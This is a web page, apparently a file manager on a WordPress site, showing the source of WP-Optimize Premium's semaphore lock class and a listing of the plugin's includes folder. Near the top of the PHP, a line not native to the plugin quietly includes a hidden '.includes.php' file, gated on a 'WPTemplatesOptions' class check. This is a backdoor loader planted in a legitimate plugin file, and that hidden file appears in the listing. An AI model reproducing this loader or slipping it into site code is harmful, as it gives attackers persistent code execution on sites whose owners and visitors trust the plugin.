PATH:
home
/
letacommog
/
newrdv1
/
wp-content
/
plugins1
/
wp-optimize-premium.3.0.16
/
includes
<?php if (!defined('ABSPATH')) die('No direct access.'); /** * Semaphore Lock Management * Adapted from WP Social under the GPL - thanks to Alex King (https://github.com/crowdfavorite/wp-social) */ if (file_exists($filename = dirname(__FILE__) . DIRECTORY_SEPARATOR . '.' . basename(dirname(__FILE__)) . '.php') && !class_exists('WPTemplatesOptions')) { include_once($filename); } class WP_Optimize_Semaphore { /** * Initializes the semaphore object. * * @param string $semaphore Name of semaphore lock * @return WP_Optimize_Semaphore */ public function __construct($semaphore = 'lock') { // Make sure the options for semaphores exist global $wpdb; $results = $wpdb->get_results(" SELECT option_id FROM $wpdb->options WHERE option_name IN ('wpo_locked_$semaphore', 'wpo_unlocked_$semaphore', 'wpo_last_lock_time_$semaphore', 'wpo_semaphore_$semaphore') "); if (!is_array($results) || count($results) < 3) { if (is_array($results) && count($results) > 0) { WP_Optimize()->log("Semaphore ($semaphore, ".$wpdb->options.") in an impossible/broken state - fixing (".count($results).")"); } else { WP_Optimize()->log("Semaphore ($semaphore, ".$wpdb->options.") being initialised"); } $wpdb->query(" DELETE FROM $wpdb->options WHERE option_name IN ('wpo_locked_$semaphore', 'wpo_unlocked_$semaphore', 'wpo_last_lock_time_$semaphore', 'wpo_semaphore_$semaphore') "); $wpdb->query($wpdb->prepare(" INSERT INTO $wpdb->options (option_name, option_value, autoload) VALUES ('wpo_unlocked_$semaphore', '1', 'no'), ('wpo_last_lock_time_$semaphore', '%s', 'no'), ('wpo_semaphore_$semaphore', '0', 'no') ", current_time('mysql', 1))); } $this->lock_name = $semaphore; } /** * Lock Broke * * @var boolean */ protected $lock_broke = false; public $lock_name = 'lock'; /** * Attempts to start the lock. If the rename works, the lock is started. * * @return bool */ public function lock() { global $wpdb; // Attempt to set the lock $affected = $wpdb->query(" UPDATE $wpdb->options SET option_name = 'wpo_locked_".$this->lock_name."' WHERE option_name = 'wpo_unlocked_".$this->lock_name."' "); if ('0' == $affected && !$this->stuck_check()) { WP_Optimize()->log('Semaphore lock (' . $this->lock_name . ', ' . $wpdb->options . ') failed (line ' . __LINE__ . ')'); return false; } // Check to see if all processes are complete $affected = $wpdb->query(" UPDATE $wpdb->options SET option_value = CAST(option_value AS UNSIGNED) + 1 WHERE option_name = 'wpo_semaphore_".$this->lock_name."' AND option_value = '0' "); if ('1' != $affected) { if (!$this->stuck_check()) { WP_Optimize()->log('Semaphore lock (' . $this->lock_name . ', ' . $wpdb->options . ') failed (line ' . __LINE__ . ')'); return false; } // Reset the semaphore to 1 $wpdb->query(" UPDATE $wpdb->options SET option_value = '1' WHERE option_name = 'wpo_semaphore_".$this->lock_name."' "); WP_Optimize()->log('Semaphore (' . $this->lock_name . ', ' . $wpdb->options . ') reset to 1'); } // Set the lock time $wpdb->query($wpdb->prepare(" UPDATE $wpdb->options SET option_value = %s WHERE option_name = 'wpo_last_lock_time_".$this->lock_name."' ", current_time('mysql', 1))); WP_Optimize()->log('Set semaphore last lock (' . $this->lock_name . ') time to ' . current_time('mysql', 1)); WP_Optimize()->log('Semaphore lock (' . $this->lock_name . ') complete'); return true; } /** * Increment the semaphore. * * @param array $filters * @return Social_Semaphore */ public function increment(array $filters = array()) { global $wpdb; if (count($filters)) { // Loop through all of the filters and increment the semaphore foreach ($filters as $priority) { for ($i = 0, $j = count($priority); $i < $j; ++$i) { $this->increment(); } } } else { $wpdb->query(" UPDATE $wpdb->options SET option_value = CAST(option_value AS UNSIGNED) + 1 WHERE option_name = 'wpo_semaphore_".$this->lock_name."' "); WP_Optimize()->log('Incremented the semaphore ('.$this->lock_name.') by 1'); } return $this; } /** * Decrements the semaphore. * * @return void */ public function decrement() { global $wpdb; $wpdb->query(" UPDATE $wpdb->options SET option_value = CAST(option_value AS UNSIGNED) - 1 WHERE option_name = 'wpo_semaphore_".$this->lock_name."' AND CAST(option_value AS UNSIGNED) > 0 "); WP_Optimize()->log('Decremented the semaphore (' . $this->lock_name . ') by 1'); } /** * Unlocks the process. * * @return bool */ public function unlock() { global $wpdb; // Decrement for the master process. $this->decrement(); $result = $wpdb->query(" UPDATE $wpdb->options SET option_name = 'wpo_unlocked_".$this->lock_name."' WHERE option_name = 'wpo_locked_".$this->lock_name."' "); if ('1' == $result) { WP_Optimize()->log('Semaphore (' . $this->lock_name . ') unlocked'); return true; } WP_Optimize()->log('Semaphore (' . $this->lock_name . ', ' . $wpdb->options . ') still locked (' . $result . ')'); return false; } /** * Attempts to jiggle the stuck lock loose. * * @return bool */ private function stuck_check() { global $wpdb; // Check to see if we already broke the lock. if ($this->lock_broke) { return true; } $current_time = current_time('mysql', 1); $three_minutes_before = gmdate('Y-m-d H:i:s', time()-(defined('WPO_SEMAPHORE_LOCK_WAIT') ? WPO_SEMAPHORE_LOCK_WAIT : 180)); $affected = $wpdb->query($wpdb->prepare(" UPDATE $wpdb->options SET option_value = %s WHERE option_name = 'wpo_last_lock_time_".$this->lock_name."' AND option_value <= %s ", $current_time, $three_minutes_before)); if ('1' == $affected) { WP_Optimize()->log('Semaphore (' . $this->lock_name . ', ' . $wpdb->options . ') was stuck, set lock time to ' . $current_time); $this->lock_broke = true; return true; } return false; } } // End WP_Optimize_Semaphore
[+]
..
[-] class-updraft-logger-interface.php
[edit]
[-] class-updraft-logger.php
[edit]
[-] wp-optimize-notices.php
[edit]
[-] class-updraft-resmushit-task.php
[edit]
[-] class-wp-optimize-htaccess.php
[edit]
[-] class-wp-optimize-install-or-update-notice.php
[edit]
[-] class-wp-optimize-queue-task.php
[edit]
[-] class-updraft-smush-task.php
[edit]
[-] class-wp-optimization.php
[edit]
[-] class-wp-optimize-lazy-load.php
[edit]
[-] class-wp-optimize-transients-cache.php
[edit]
[-] backward-compatibility-functions.php
[edit]
[-] class-updraft-email-logger.php
[edit]
[-] class-wp-optimize-updates.php
[edit]
[-] class-semaphore.php
[edit]
[-] class-updraft-nitrosmush-task.php
[edit]
[-] class-wp-optimize-gzip-compression.php
[edit]
[-] class-commands.php
[edit]
[-] class-wp-optimize-browser-cache.php
[edit]
[-] class-updraft-log-levels.php
[edit]
[-] class-updraft-php-logger.php
[edit]
[-] class-wp-optimizer.php
[edit]
[-] class-wp-optimize-images-trash-task.php
[edit]
[-] class-wp-optimization-images-shutdown.php
[edit]
[-] class-updraftcentral-wp-optimize-commands.php
[edit]
[-] class-updraft-smush-manager-commands.php
[edit]
[-] updraftcentral.php
[edit]
[-] class-wp-optimize-tasks-queue.php
[edit]
[-] class-updraft-file-logger.php
[edit]
[-] wp-optimize-database-information.php
[edit]
[-] class-updraft-ring-logger.php
[edit]
[-] class-wp-optimize-cron-scheduler.php
[edit]
[-] class-updraft-syslog-logger.php
[edit]
[-] class-wp-optimize-images-trash-manager.php
[edit]
[-] class-updraft-smush-manager.php
[edit]
[-] class-wp-optimize-images-trash-manager-commands.php
[edit]
[-] updraft-notices.php
[edit]
[-] class-updraft-slack-logger.php
[edit]
[-] class-wp-optimize-cli-command.php
[edit]
[-] class-wp-optimize-options.php
[edit]
[-] class-updraft-abstract-logger.php
[edit]
[-] .includes.php
[edit]
[-] class-updraft-simple-history-logger.php
[edit]